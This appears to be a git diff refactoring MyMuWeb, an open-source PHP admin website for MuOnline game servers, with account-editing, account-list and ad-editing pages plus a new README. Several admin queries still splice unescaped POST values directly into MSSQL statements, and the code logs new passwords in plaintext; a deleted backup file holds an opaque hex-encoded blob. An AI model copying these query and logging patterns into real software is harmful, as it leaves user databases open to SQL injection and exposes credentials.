diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..12470de --- /dev/null +++ b/.gitignore @@ -0,0 +1,10 @@ +# Intellij +/.idea/ + +# Instalation information +/includes/installed.php +/includes/mmw_cache.dat + +# Log files +!/logs/ +/logs/*.php diff --git a/.htaccess b/.htaccess index 322c573..f848959 100644 --- a/.htaccess +++ b/.htaccess @@ -14,13 +14,13 @@ # Max File Upload / Session Security php_value upload_max_filesize 100M - php_value post_max_size 100M + php_value post_max_size 16M php_flag register_globals off php_flag session.use_trans_sid off php_flag session.use_cookies on # Config Security - Order deny,allow - deny from all + Order deny,allow + Deny from all \ No newline at end of file diff --git a/ADS.txt b/ADS.txt index 4d25ec4..2110969 100644 --- a/ADS.txt +++ b/ADS.txt @@ -1,16 +1,12 @@ -
-Top.MyMuWeb.Ru
-MyMuWeb Support
-RedAngel MuOnline
-Podriv Project
-
- - -
\ No newline at end of file + MyMuWeb Support
+ X-MU Community
+ Mu Online Fanz
+ Podriv Project
+ TFU.LV
+ \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..971d3a2 --- /dev/null +++ b/README.md @@ -0,0 +1,57 @@ +# Open source MuOnline website + + Name: MyMuWeb + Created: 2009-03-17 + Repository: https://github.com/Vaflan/MyMuWeb + Author: Ruslans Jermakovics + Contacts: http://mymuweb.ru + + +## Instruction +********************************************************************* +First step, you need to set up your php environment: +* Minimum PHP version must be 5.3 (extreme low 5.2) +* On Windows system ~ C:\WINDOWS\php.ini (extensions with .dll) +* On a Linux system ~ /etc/php/phpX.X/php.ini + + extension = gd2 + extension = pdo + extension = odbc + extension = pdo_odbc + error_reporting = E_ALL & ~E_NOTICE + +********************************************************************* +Second step, add the library if the database uses MD5. +* Copy "WZ_MD5_MOD.dll" from project to Microsoft SQL "Server\MSSQL\Binn\" +********************************************************************* +The third step is to change socks. +* Customize the file `config.php` and variable $mmw['sql'] replace '127.0.0.1', 'USER', 'PASSWORD' +* If you will be installing from a non-local ip, you set CUSTOM_IP_ADDRESS in install.php +* Open install http://localhost/install.php +********************************************************************* +Running the CLI Web Server from Remote Computers +* Open the site folder in the console where index.php is located +* Run the command below and you will have a PHP site up and running (minimum 5.4) +* If your php is not available in the global environment, write instead of `php` - the full path to `C:\php54\php.exe` +* You can also specify your own configuration file for php `-c php.ini` +* More information about [Built-in web server](https://www.php.net/manual/en/features.commandline.webserver.php) + + php -S 0.0.0.0:8000 + +********************************************************************* + + +## FAQ +* How to add features? + * add `someFunction.php` to 'includes/func/' folder. +* How to add MP3 to the player? + * add `song.mp3` to 'media/' folder. +* How to add new language? + * add `language_name.php` to 'lang/' folder. +* How to add theme? + * extract `theme.zip` to 'themes/' folder and change `$mmw['theme']` in config.php. +********************************************************************* + + +### Thanks for using MyMuWeb by Vaflan! +Special thanks to the **x-Mu** community: https://x-mu.net/?board=84.0 \ No newline at end of file diff --git a/ReadMe.txt b/ReadMe.txt deleted file mode 100644 index 65a3ab6..0000000 --- a/ReadMe.txt +++ /dev/null @@ -1,44 +0,0 @@ -#################################### -# MyMuWeb ReadMe # -# Thank For use MyMuWeb by Vaflan. # -# http://www.mymuweb.ru/ # -# vaflancher@inbox.lv # -#################################### - - -********************************************************************* -Update AppServer, Opne File: C:\WINDOWS\php.ini -You need 576 cols - ;extension=php_mssql.dll - delete simbel ';'. -And 942 cols - mssql.secure_connection = Off - 'ff' change to 'n'. -********************************************************************* -Update MSSQL, Copy File 'WZ_MD5_MOD.dll' -To: Microsoft SQL 'Server\MSSQL\Binn\' -********************************************************************* -Change config.php, Open 'config.php' -Change: 'IP Address', 'Login', 'Password', 'DataBase' -********************************************************************* -Export DataBase, Open Browser: -http://127.0.0.1/install.php -********************************************************************* - - -!-------------------------------------------------------------------! -To Create Admin Need: -Register in web, and in MEMB_INFO table with your name, -change 'mmw_stats' Colums - '0' to '10'. (0: Member, 5: GM, 10: Admin) -Admin Username = Your Login in Reg WebSite -Admin Password = Your Password in Reg WebSite -Admin SecurityCode = '4321' - -How to add Functions? -add functions.php to 'includes/func/' folder. - -How to add Mp3 to Player? -add all need mp3 to 'media/' folder. - -How to add Language? -add language_name.php to 'lang/' folder. - -How to add Theme? -add folder to 'themes/', and change in config.php $mmw[theme]. -!--------------------------------------------------------------------! \ No newline at end of file diff --git a/admin.php b/admin.php index 2cd7867..3b365cc 100644 --- a/admin.php +++ b/admin.php @@ -1,132 +1,7 @@ -".urldecode('http://'.$_SERVER["SERVER_ADDR"].$_SERVER["REQUEST_URI"]).""); -} - -if(is_file("themes/$mmw[theme]/admin.css")) {$css = "themes/$mmw[theme]/admin.css";} -else {$css = "images/admin.css";} -?> - - - MyMuWeb Administrator - - - - - -
- - - - - - - - - - - - -
- -
-Home | -SQL Query | -Back Up | -Server | -News | -Downloads | -Votes | -Forum | -ADS | -Request
-Rename Character | -Search Character | -Search Account | -Account List | -Ban IP | -Find IP | -Logs
-
- -
- - -

 

- - - - -
Welcome
- - - - -
- - - - - - - - - - - - - - - - - -
Admin Account
Admin Password
Admin SecurityCode
-
- - -
MyMuWeb . Design and PHP+SQL by Vaflan. -
- - \ No newline at end of file +/!\ Access Denied!'); +} // Account Editor -if(isset($_POST["edit_account_done"])) { - $post_account = $_POST['account']; - $post_pwd = $_POST['new_pwd']; - $post_mode = $_POST['mode']; - $post_email = $_POST['email']; - $post_squestion = $_POST['squestion']; - $post_sanswer = $_POST['sanswer']; - $post_unblock_time = $_POST['unblock_time']; - $post_block_date = $_POST['block_date']; - $post_block_reason = $_POST['block_reason']; - $post_admin_level = $_POST['admin_level']; +if (isset($_POST['edit_account_done'])) { + $post_account = stripslashes($_POST['edit_account_done']); + $post_pwd = $_POST['new_pwd']; + $post_mode = intval($_POST['mode']); + $post_email = $_POST['email']; + $post_secret_question = stripslashes($_POST['secret_question']); + $post_secret_answer = stripslashes($_POST['secret_answer']); + $post_unblock_time = intval($_POST['unblock_time']); + $post_block_date = $_POST['block_date']; + $post_block_reason = stripslashes($_POST['block_reason']); + $post_admin_level = intval($_POST['admin_level']); + + $online_check = mssql_fetch_row(mssql_query("SELECT ConnectStat FROM dbo.MEMB_STAT WHERE memb___id='{$post_account}'")); + if (empty($post_account) || empty($post_email) || empty($post_secret_question) || empty($post_secret_answer)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } elseif ($online_check[0] != 0) { + echo $mmw['warning']['red'] . 'Error: Account ' . $post_account . ' must be offline!
Go Back.'; + } else { + $new_pass = $block_menu = ''; + if (!empty($post_unblock_time)) { + $block_menu .= "[unblock_time]={$post_unblock_time},"; + } + if ($post_block_date !== 'no') { + $post_block_date = ($post_block_date === 'yes') + ? time() + : 0; + $block_menu .= "[block_date]='{$post_block_date}',[blocked_by]='{$_SESSION['admin']['account']}',"; + } + $block_menu .= "[block_reason]='{$post_block_reason}',"; - $sql_account_check = mssql_query("SELECT memb___id FROM memb_info WHERE memb___id='$post_account'"); - $online_check = mssql_fetch_row( mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$post_account'") ); - if(empty($post_account) || empty($post_email) || empty($post_squestion) || empty($post_sanswer)) {echo " Error: Some Fields Were Left Blank!
Go Back.";} - elseif(mssql_num_rows($sql_account_check) <= 0) {echo "$warning_red Error: Account $post_account Doesn't Exist!
Go Back."; } - elseif($online_check[0] != 0) {echo "$warning_red Error: Account $post_account Must Be Logged Off!
Go Back."; } - else { - if(!empty($post_unblock_time)) {$block_menu = "[unblock_time]='$post_unblock_time',";} - if($post_block_date!="no") { - if($post_block_date=='yes') {$post_block_date = time();} - else {$post_block_date = '0';} - $block_menu = $block_menu . "[block_date]='$post_block_date',"; - } - $block_menu = $block_menu . "[blocked_by]='$_SESSION[a_admin_login]',[block_reason]='$post_block_reason',"; - if(!empty($post_pwd) && $post_pwd!=' ') { - if($mmw['md5']==yes) {$new_pass = "[memb__pwd2]='$post_pwd',[memb__pwd]=[dbo].[fn_md5]('$post_pwd','$post_account'),";} - if($mmw['md5']==no) {$new_pass = "[memb__pwd2]='$post_pwd',[memb__pwd]='$post_pwd',";} - } + if (!empty($post_pwd)) { + $new_pass = ($mmw['md5']) + ? "[memb__pwd] = [dbo].[fn_md5]('{$post_pwd}', '{$post_account}')," + : "[memb__pwd] = '{$post_pwd}',"; + } - mssql_query("UPDATE memb_info SET $new_pass $block_menu [bloc_code]='$post_mode',[mail_addr]='$post_email',[fpas_ques]='$post_squestion',[fpas_answ]='$post_sanswer',[mmw_status]='$post_admin_level' WHERE memb___id='$post_account'"); - echo "$warning_green Account $post_account SuccessFully Edited!"; - writelog("edit_acc","Account $_POST[account] Has Been Edited with the next->New Password:$_POST[new_pwd]|E-mail:$_POST[email]|Secret Question:$_POST[squestion]|Secret Answer:$_POST[sanswer]|Admin Level:$_POST[admin_level]"); - } + mssql_query("UPDATE dbo.MEMB_INFO SET $new_pass $block_menu [bloc_code]='$post_mode',[mail_addr]='$post_email',[fpas_ques]='$post_secret_question',[fpas_answ]='$post_secret_answer',[mmw_status]='$post_admin_level' WHERE memb___id='{$post_account}'"); + echo $mmw['warning']['green'] . 'Account ' . $post_account . ' SuccessFully Edited!'; + writelog('edit_acc', "Account {$_POST['account']} Has Been Edited with the next->New Password:$_POST[new_pwd]|E-mail:$_POST[email]|Secret Question:$_POST[secret_question]|Secret Answer:$_POST[secret_answer]|Admin Level:$_POST[admin_level]"); + } } -if(isset($_POST["edit_acc_wh_done"])) { - $post_account = $_POST['account']; - $post_warehouse = $_POST['wh']; - $post_extwarehouse = $_POST['extrawh']; +if (isset($_POST['edit_acc_wh_done'])) { + $post_account = stripslashes($_POST['edit_acc_wh_done']); + $post_warehouse = preg_replace('/[^\d]+/', '', $_POST['wh']); + $post_ext_warehouse = preg_replace('/[^\d]+/', '', $_POST['extrawh']); - $sql_account_check = mssql_query("SELECT memb___id FROM memb_info WHERE memb___id='$post_account'"); - if(empty($post_account) || $post_warehouse<0 || $post_extwarehouse<0) {echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - elseif(mssql_num_rows($sql_account_check) <= 0) {echo "$warning_red Error: Account $post_account Doesn't Exist!
Go Back."; } - else { - mssql_query("UPDATE warehouse SET [Money]='$post_warehouse',[extMoney]='$post_extwarehouse' WHERE AccountID='$post_account'"); - echo "$warning_green Acc Ware House $post_account SuccessFully Edited!"; - writelog("a_edit_acc_wh","Account $post_account Has Been Edited with the next-> Extra WH: $post_extwarehouse | WH: $post_warehouse"); - } + if (empty($post_account) || $post_warehouse < 0 || $post_ext_warehouse < 0) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + mssql_query("UPDATE dbo.warehouse SET [Money]={$post_warehouse},[extMoney]={$post_ext_warehouse} WHERE AccountID='{$post_account}'"); + echo $mmw['warning']['green'] . 'Acc Ware House ' . $post_account . ' SuccessFully Edited!'; + writelog('a_edit_acc_wh', 'Account ' . $post_account . ' Has Been Edited with the next-> Extra WH: ' . $post_ext_warehouse . ' | WH: ' . $post_warehouse); + } } -?> - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-Blocked";} - elseif($get_account_done[3] == 0){$mode = "";} - if($get_account_done[1] == NULL){$get_account_done[1] = "
Error #111
";} - if($get_account_done[4] == NULL){$get_account_done[4] = "
Error #112
";} - if($get_account_done[5] == NULL){$get_account_done[5] = "
Error #113
";} - if($get_account_done[9] == NULL){$get_account_done[9] = "
Error #114
";} + $mode = ''; + if ($get_account_done[3] == 1) { + $mode = ''; + } - $get_wh = mssql_query("SELECT AccountID,Money,extMoney FROM warehouse WHERE accountid='$account_edit'"); - $get_acc_wh = mssql_fetch_row($get_wh); - $get_acc_wh_num = mssql_num_rows($get_wh); - if($get_acc_wh[1]==""){$get_acc_wh[1] = 0;} - if($get_acc_wh[2]==""){$get_acc_wh[2] = 0;} + if ($get_account_done[1] === null) { + $get_account_done[1] = 'Error #111'; + } + if ($get_account_done[4] === null) { + $get_account_done[4] = 'Error #112'; + } + if ($get_account_done[5] === null) { + $get_account_done[5] = 'Error #113'; + } + if ($get_account_done[9] === null) { + $get_account_done[9] = 'Error #114'; + } - if($get_account_done[5]=='male'){$gender = 'Male';} else{$gender = 'Female';} - if($get_account_done[14] >= 0){$admin_level[$get_account_done[14]] = "selected";} else{$admin_level[0] = "selected";} + $get_wh = mssql_query("SELECT AccountID,Money,extMoney FROM dbo.warehouse WHERE accountid='{$account_edit}'"); + $get_acc_wh = mssql_fetch_row($get_wh); + $get_acc_wh_num = mssql_num_rows($get_wh); + if (empty($get_acc_wh[1])) { + $get_acc_wh[1] = 0; + } + if (empty($get_acc_wh[2])) { + $get_acc_wh[2] = 0; + } - $online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$account_edit'"); - $oc_row = mssql_fetch_row($online_check); + if ($get_account_done[5] === 'male') { + $gender = 'Male'; + } elseif ($get_account_done[5] === 'female') { + $gender = 'Female'; + } - $get_chr = mssql_query("SELECT GameID1,GameID2,GameID3,GameID4,GameID5,GameIDC FROM AccountCharacter WHERE Id='$account_edit'"); - $get_acc_chr = mssql_fetch_row($get_chr); - $online_stats = "Online"; - $offline_stats = "Offline"; - if($get_acc_chr[0]==$get_acc_chr[5] && $oc_row[0]=='1'){$get_acc_chr_online[0] = $online_stats;}else{$get_acc_chr_online[0] = $offline_stats;} - if($get_acc_chr[1]==$get_acc_chr[5] && $oc_row[0]=='1'){$get_acc_chr_online[1] = $online_stats;}else{$get_acc_chr_online[1] = $offline_stats;} - if($get_acc_chr[2]==$get_acc_chr[5] && $oc_row[0]=='1'){$get_acc_chr_online[2] = $online_stats;}else{$get_acc_chr_online[2] = $offline_stats;} - if($get_acc_chr[3]==$get_acc_chr[5] && $oc_row[0]=='1'){$get_acc_chr_online[3] = $online_stats;}else{$get_acc_chr_online[3] = $offline_stats;} - if($get_acc_chr[4]==$get_acc_chr[5] && $oc_row[0]=='1'){$get_acc_chr_online[4] = $online_stats;}else{$get_acc_chr_online[4] = $offline_stats;} + $get_chr = mssql_query("SELECT GameID1,GameID2,GameID3,GameID4,GameID5,GameIDC FROM dbo.AccountCharacter WHERE Id='{$account_edit}'"); + $get_acc_chr = mssql_fetch_row($get_chr); + $online_stats = 'Online'; + $offline_stats = 'Offline'; - if(empty($get_acc_chr[0]) || $get_acc_chr[0]==" ") {$get_acc_chr[0] = "No Char";} else{$get_acc_chr[0] = "$get_acc_chr[0]";} - if(empty($get_acc_chr[1]) || $get_acc_chr[1]==" ") {$get_acc_chr[1] = "No Char";} else{$get_acc_chr[1] = "$get_acc_chr[1]";} - if(empty($get_acc_chr[2]) || $get_acc_chr[2]==" ") {$get_acc_chr[2] = "No Char";} else{$get_acc_chr[2] = "$get_acc_chr[2]";} - if(empty($get_acc_chr[3]) || $get_acc_chr[3]==" ") {$get_acc_chr[3] = "No Char";} else{$get_acc_chr[3] = "$get_acc_chr[3]";} - if(empty($get_acc_chr[4]) || $get_acc_chr[4]==" ") {$get_acc_chr[4] = "No Char";} else{$get_acc_chr[4] = "$get_acc_chr[4]";} + for ($index = 0; $index < 5; $index++) { + $get_acc_chr[$index] = trim($get_acc_chr[$index]); + $get_acc_chr_online[$index] = ($get_acc_chr[$index] == $get_acc_chr[5] && $get_account_done['ConnectStat']) + ? $online_stats + : $offline_stats; - foreach($mmw[status_rules] as $key => $value) { - $mmw_status_list .= ""; - } -?> - Account -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Account
Name
Password
New PasswordChange
Mode
By To
Block Time
Block Date
Blockec By
Block Reason
E-mail address
Secret Question
Secret Answer
Country
Gender
Admin Level
-
-
-
-
- 0) {?> - Ware House -
+ $get_acc_chr[$index] = !empty($get_acc_chr[$index]) + ? "$get_acc_chr[$index]" + : '_ _ _'; + } + ?> +
+ Account + - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Ware House
Extra Ware House
Account
Name
Application day
New Password + + + +
Mode
+ From + + to + Forever
Block Time + +
Block Date + +
Blocked By
Block Reason + +
E-mail address + +
Secret Question + +
Secret Answer + +
Country
Gender
Admin Level + +
+ + +
+ +
+ 0) : ?> +
+ Ware House +
+ + + + + + + + + + + + +
Ware House +
Extra Ware House
+ + + +
-
-
- - Character's - - - - - - - - - - - - - - - -
-
-
-
- + +
+ Character's + + + + + + + + + + + + + + + +
+
+ + +
Search Account -
+ - - - - - - - - - - - + + + + + + + + + + +
Account
Search type - -
- -
Account + +
Search type + +
+ +
+ +
-
-
-
-
- Search Account Results - - - - - - - - - - - - + -if($_POST['search_type']==0){$result = mssql_query("SELECT memb___id,memb__pwd,bloc_code,country,gender from MEMB_INFO where memb___id='$search'");} -if($_POST['search_type']==1){$result = mssql_query("SELECT memb___id,memb__pwd,bloc_code,country,gender from MEMB_INFO where memb___id like '%$search%'");} + +
+ Search Account Results -for($i=0;$i < mssql_num_rows($result);++$i) { - $row = mssql_fetch_row($result); - $rank = $i+1; +
#AccountModeCountryGenderStatusEdit
+ + + + + + + + + + + + ';} - if($status[0] == 1){$status[0] ='';} + $rank = 1; + while ($row = mssql_fetch_row($result)) { + if ($row[5] == 0) { + $status = 'offline'; + } + if ($row[5] == 1) { + $status = 'online'; + } + if ($row[5] === null) { + $status = 'death'; + } - if($row[2] == 0){$row[2] ='Normal';} - if($row[2] == 1){$row[2] ="
#AccountModeCountryGenderStatusEdit
Blocked
";} + if ($row[2] == 0) { + $row[2] = 'Normal'; + } + if ($row[2] == 1) { + $row[2] = 'Blocked'; + } - if($row[4] == 'male'){$row[4] = "";} - elseif($row[4] == 'female'){$row[4] = "";} - elseif($row[4] == NULL){$row[4] = "
Error #113
";} - if($row[3] == NULL){$row[3] = "
Error #112
";} - if($row[1] == NuLL){$row[1] = "
Error #111
";} + if ($row[4] === 'male') { + $row[4] = 'male'; + } elseif ($row[4] === 'female') { + $row[4] = 'female'; + } elseif ($row[4] === null) { + $row[4] = 'Error #113'; + } - if($row[3] == '0'){$country = "Not Set";} else{$country = country($row[3]);} + if ($row[3] === null) { + $row[3] = 'Error #112'; + } + if ($row[1] === null) { + $row[1] = 'Error #111'; + } - $account_table_edit = "
"; -?> -
.
+ if ($row[3] == '0') { + $country = 'Not Set'; + } else { + $country = country($row[3]); + } + ?> + + . + > + + + + + +
+ + + +
+ + + + - - - - - \ No newline at end of file + + \ No newline at end of file diff --git a/admin/acclist.php b/admin/acclist.php index 9e2038a..55fae1b 100644 --- a/admin/acclist.php +++ b/admin/acclist.php @@ -1,81 +1,99 @@ -/!\ Access Denied!'); +} // Account List + Delete not connected... -if(isset($_POST["delete_acc"])) { - $account = $_POST["delete_acc"]; - if(empty($account)) { - echo "$warning_red Error: Some Fields Were Left Blank!
Go Back.";} - else { - $sql_online_check = mssql_query("SELECT ConnectStat FROM MEMB_STAT WHERE memb___id='$account'"); - $check_connect = mssql_num_rows($sql_online_check); - if($check_connect==0) { - mssql_query("Delete from MEMB_INFO where memb___id='$account'"); - mssql_query("Delete from VI_CURR_INFO where memb___id='$account'"); - mssql_query("Delete from warehouse where AccountID='$account'"); +if (isset($_POST['delete_acc'])) { + $account = $_POST['delete_acc']; + if (empty($account)) { + echo $mmw['warning']['red'] . 'Error: Some Fields Were Left Blank!
Go Back.'; + } else { + $query = mssql_query("SELECT ConnectStat FROM dbo.MEMB_STAT WHERE memb___id='{$account}'"); + $checkPlayed = mssql_num_rows($query); + if ($checkPlayed === 0) { + mssql_query("DELETE FROM dbo.MEMB_INFO WHERE memb___id='{$account}'"); + mssql_query("DELETE FROM dbo.warehouse WHERE AccountID='{$account}'"); - echo "$warning_green Account $account SuccessFully Deleted!"; - writelog("a_del_acc","Account $account Has Been Deleted"); - } - else { - echo "$warning_red Account Has Been connected!"; - } - } + echo $mmw['warning']['green'] . 'Account ' . $account . ' SuccessFully Deleted!'; + writelog('a_del_acc', 'Account ' . $account . ' Has Been Deleted'); + } else { + echo $mmw['warning']['red'] . 'Account Has Been connected!'; + } + } } ?> +
+ Account List - - - - - - - - - - - - - -
-
- Account List - - - - - - - - - - - - - + + + + + + + + + + + + + Blocked'; + } + if ($row[1] === null) { + $mode = 'Error #111'; + } - if($status[0] == 0){ $status[0] ='';} - if($status[0] == 1){ $status[0] ='';} - if($status_check == 0){ $status[0] ='';} - if($row[1] == 0){$row[1] ='Normal';} - if($row[1] == 1){$row[1] ="
#AccountModeReg DateLogin DateCharStatusDelete
#AccountModeReg DateLogin DateCharsStatusDelete
Blocked
";} - if($row[1] == NuLL){$row[1] = "
Error #111
";} - if($row[2] == NULL){$row[2] = "
Error #112
";} - $rank = $i+1; + if ($row[2] === null) { + $row[2] = 'Error #112'; + } - $acctinfo = mssql_query("Select Name from Character where AccountID='$row[0]'"); - $char_numb = mssql_num_rows($acctinfo); - - $table_delete = "
"; -?> -
.>
+ $status = 'Error #113'; + if ($row[3] == 0) { + $status = 'offline'; + } + if ($row[3] == 1) { + $status = 'online'; + } + if ($row[3] === null) { + $status = 'death'; + } + ?> + + . + > + + + + + + +
+ +
+ + + + -
- - - \ No newline at end of file + \ No newline at end of file diff --git a/admin/ads.php b/admin/ads.php index b215b33..d6019b6 100644 --- a/admin/ads.php +++ b/admin/ads.php @@ -1,68 +1,45 @@ -/!\ Access Denied!'); +} // ADS and PopUnder in Web -$ads_file = 'ads.txt'; -$popunder_file = 'popunder.txt'; - -if(isset($_POST[ads])) { - $new_db = stripslashes($_POST[ads]); - $fp = fopen($ads_file,"w"); - fputs($fp, $new_db); - fclose($fp); - echo "$warning_green ADS SuccessFully Edited!"; +$adsFile = '../ADS.txt'; +$popUnderFile = '../PopUnder.txt'; - $log_dat = "ADS Has Been Edited Author: $_SESSION[a_admin_login]"; - writelog("a_ads",$log_dat); +if (isset($_POST['ads'])) { + if (file_put_contents($adsFile, $_POST['ads'])) { + echo $mmw['warning']['green'] . 'ADS SuccessFully Edited!'; + writelog('a_ads', 'ADS Has Been Edited Author: ' . $_SESSION['admin']['account']); + } else { + echo $mmw['warning']['red'] . 'ADS fail Edited!'; + } } -if(isset($_POST[popunder])) { - $new_db = stripslashes($_POST[popunder]); - $fp = fopen($popunder_file,"w"); - fputs($fp, $new_db); - fclose($fp); - echo "$warning_green PopUnder SuccessFully Edited!"; - $log_dat = "PopUnder Has Been Edited Author: $_SESSION[a_admin_login]"; - writelog("a_ads",$log_dat); +if (isset($_POST['popunder'])) { + if (file_put_contents($popUnderFile, $_POST['popunder'])) { + echo $mmw['warning']['green'] . 'PopUnder SuccessFully Edited!'; + writelog('a_ads', 'PopUnder Has Been Edited Author: ' . $_SESSION['admin']['account']); + } else { + echo $mmw['warning']['red'] . 'PopUnder fail Edited!'; + } } -$popunder_size = @filesize($popunder_file); -if($popunder_size > 0) { - $popunder_open = @fopen($popunder_file,'r'); - $popunder_read = @fread($popunder_open,$popunder_size); - @fclose($popunder_open); -} -$ads_size = @filesize($ads_file); -if($ads_size > 0) { - $ads_open = @fopen($ads_file,'r'); - $ads_read = @fread($ads_open,$ads_size); - @fclose($ads_open); -} +$popUnderRead = str_replace(array('&', '<'), array('&', '<'), @file_get_contents($popUnderFile)); +$adsRead = str_replace(array('&', '<'), array('&', '<'), @file_get_contents($adsFile)); ?> - - - - - - - -
-
- ADS -
-
-
- -
-
-
-
-
- PopUnder -
-
-
- -
-
-
-
\ No newline at end of file +
+ +
+
+ + +
+
+
+ +
+
+ + +
+
\ No newline at end of file diff --git a/admin/assets/admin.css b/admin/assets/admin.css new file mode 100644 index 0000000..d392428 --- /dev/null +++ b/admin/assets/admin.css @@ -0,0 +1,150 @@ +/* Global */ +body { + background: #DDD; + font-size: 12px; + line-height: 15px; + color: #000; + font-family: Arial, Helvetica, sans-serif; +} + +table, td { + font-size: 12px; + line-height: 15px; + color: #000; + font-family: Arial, Helvetica, sans-serif; +} + +a:link { + font-size: 13px; + color: #000; + text-decoration: none; +} + +a:visited { + font-size: 13px; + color: #000; + text-decoration: none; +} + +a:active { + font-size: 13px; + color: #000; + text-decoration: none; +} + +a:hover { + font-size: 13px; + color: #F00; + text-decoration: none; +} + +.online { + font-size: 12px; + color: #0f0; +} + +.offline { + font-size: 12px; + color: #f00; +} + +input, select { + color: #000; + padding: 0; + vertical-align: center; + font-size: 9px; + font-weight: bold; + font-family: Tahoma, Verdana, Arial, serif; +} + +textarea { + color: #000; + padding: 2px; + vertical-align: center; + font-size: 12px; + font-family: Tahoma, Verdana, Arial, serif; +} + +select.selections { + font-family: Tahoma, Verdana, Arial, serif; + font-size: 12px; + line-height: 14px; + color: #f2e5cd; + text-decoration: none; + background-color: #494949; +} + +form, img { + display: inline; + padding: 0; + margin: 0; + border: 0; +} + +fieldset { + border: 1px solid #121212; + background: #DDD; +} + +legend { + color: #f00; + background: #fff; + font: 11px Tahoma, Verdana, Arial, serif; + text-align: left; +} + +.sort-table td { + border: 1px solid ThreeDShadow; + background: Window; + color: WindowText; + padding: 2px 5px; + font-size: 12px; +} + +.sort-table thead td, .sort-table thead th { + border: 1px solid; + background: #FA5; + padding: 2px 5px; + border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; +} + +.login-header { + height: 50px; +} + +.login-stats { + height: 50px; + border: 0; + padding: 0; +} + +.content { + width: 600px; + margin: 0 auto; + padding: 4px; +} + +.sized { + margin: 0 auto; + max-width: 600px; + width: 600px; + overflow: auto; + overflow-y: hidden; +} + +.news-table { + border: 1px solid #898989; + margin: 2px auto; + width: 90%; +} + +.news-body { + border-top: 1px solid #BBB; +} + +.copyright { + text-align: center; + margin-top: 15px; + font-size: 10px; + color: #101010; +} \ No newline at end of file diff --git a/admin/backup.mmw b/admin/backup.mmw deleted file mode 100644 index 52dc4bb..0000000 --- a/admin/backup.mmw +++ /dev/null @@ -1,11 +0,0 @@ -MyMuWeb File By Vaflan compile v1.00905 -======================================= - -[cfg] -// BackUp Web Sistem v1.0 by Vaflan -// Only for MyMuWeb MSSQL 2000 Year -$backup = "%database%_%year%-%month%-%day%.bak"; -$dir = str_replace('admin.php','',$_SERVER['SCRIPT_FILENAME'])."includes/backup/"; -[/cfg] - -[mmw]E356C6261647F2C302E32747F2C302E34647F2C302E347563746C6569666F2C302E3275647E65636F2C3E3D627F666F2C3E322563716241647164402E3F3B3D55637162616471646B577D6D64202F6863656F3C302D202075502B6361624027756E402471656273422D35657C6166702224796D626573522D356D616E602224796D626573722D35607974702475707E696C3E3227756E622D35657C616670222E6564646968622D35607974702220757B636162622D356D616E602475707E696C3E3224737F60722D346F6864756D6022222D3E6F69647361602D627F666C3E3275647E65636C302E356C6261647F2C302E3F302D702B392864642822796465637F6C63602D702D702F3C302E32747F2C302E34647F2C302E3D627F666F2C3E322564756C6564422D35657C6166702224796D626573522D356D616E602224796D626573722D35607974702475707E696C3E322E3F3B356C696664202F6863656F3C322D35657C616670222E6564646968622D3560797470222564756C6564622D356D616E602475707E696C3E3224737F60722D346F6864756D6022222D3E6F69647361602D627F666C302E3D627F666F2C3E3225627F64737562522D35657C6166702224796D626573522D356D616E602224796D626573722D35607974702475707E696C3E322E3F3B356C696664202F6863656F3C322D35657C616670222E6564646968622D35607974702225627F64737562722D356D616E602475707E696C3E3224737F60722D346F6864756D6022222D3E6F69647361602D627F666C302E322478676962722D3E67696C616024647C302E34647F2C3D55647972602E3F3B3922256C696664227964642228256A7963756C6966602F6863656F3C3B502E3F3B356C696664202F6863656F3C3E32252035322D38647469677024647C302E32747C302E3F302B7029272B616267202D3D3024716D627F6664282669602B39233D202C256C69666428227473726573702D3024716D627F6664202B702925637C6166602D3D312029292864642822796464616562702D30256C696664282820256C696867702B70292922796464282279646E65607F602D30286464282669602F3C302E322275647E6563622D3E67696C61602220322D376E69646461607C6C6563602224322D376E69636160737C6C6563602220322D327564627F62602225203031322D386474696770256C6261647C302E346E6567656C6F2C3563716241647164402D202075502B6361624E346E6567656C6C302E347563746C6569666C302E322275647E6563622D3E67696C616024647C302E32747C302E3224322D376E69636160737C6C6563602220322D376E69646461607C6C656360222275647E6563622D3E67696C61602220322D327564627F626022203036322D386474696770256C6261647C302E3F302D702B392471646F576F6C642C2220757B6361626F516228276F6C6564796277702B322563716241647164402D5564756C65646B54535F405F5422796464202E347E6F666F2C346564756C65644E303030303646432D327F6C6F6360247E6F666C302E656562402371684020755B63616242202D302471646F576F6C64202B3221246564756C656440297C6C657643737563636573502563716241647164402D5564756C65646B54535F405F542020755B636162402E656562776F576E696E6271677422202F686365602B392D5564756C65646B54535F405F542E22796464282B6E696C6E65702B7029292D5564756C65646B54535F405F54282475637379682669602D702D702B3221227F627275402E65656240237168402563716241647164402D55627F647375627B54535F405F542020755B6361624025627F64737562502465627F576E696E6271677422202F686365602B7025637C65602D702B392471646F576F6C642C2220757B6361626F516228276F6C6564796277702B322563716241647164402D55627F647375627B54535F405F5422796464202E347E6F666F2C3465627F647375625E303030303646432D327F6C6F6360247E6F666C302E656562402371684020755B63616242202D302471646F576F6C64202B32212465627F6473756250297C6C657643737563636573502563716241647164402D55627F647375627B54535F405F542020755B636162402E656562776F576E696E6271677422202F686365602B7029292972756571742829727565717F5C6173737D60482669602B322B3D55637162616471646B577D6D6420256375502B372D55627F647375627B54535F405F5422796464272D3B435944402D4F425640256E696C6E6F457D4025435142414451444025425F44535542502B32756473716D6025637552202D30297275657174202B7029292D55627F647375627B54535F405F54282475637379682669602D702D702B3221227F627275402E6565624023716840256371624164716440256C6966642020755B6361624027756E402465627F576E696E6271677422202F686365602B7025637C65602D702B392471646F576F6C642C2220757B6361626F516228276F6C6564796277702B32256371624164716440256C69666422796464202E347E6F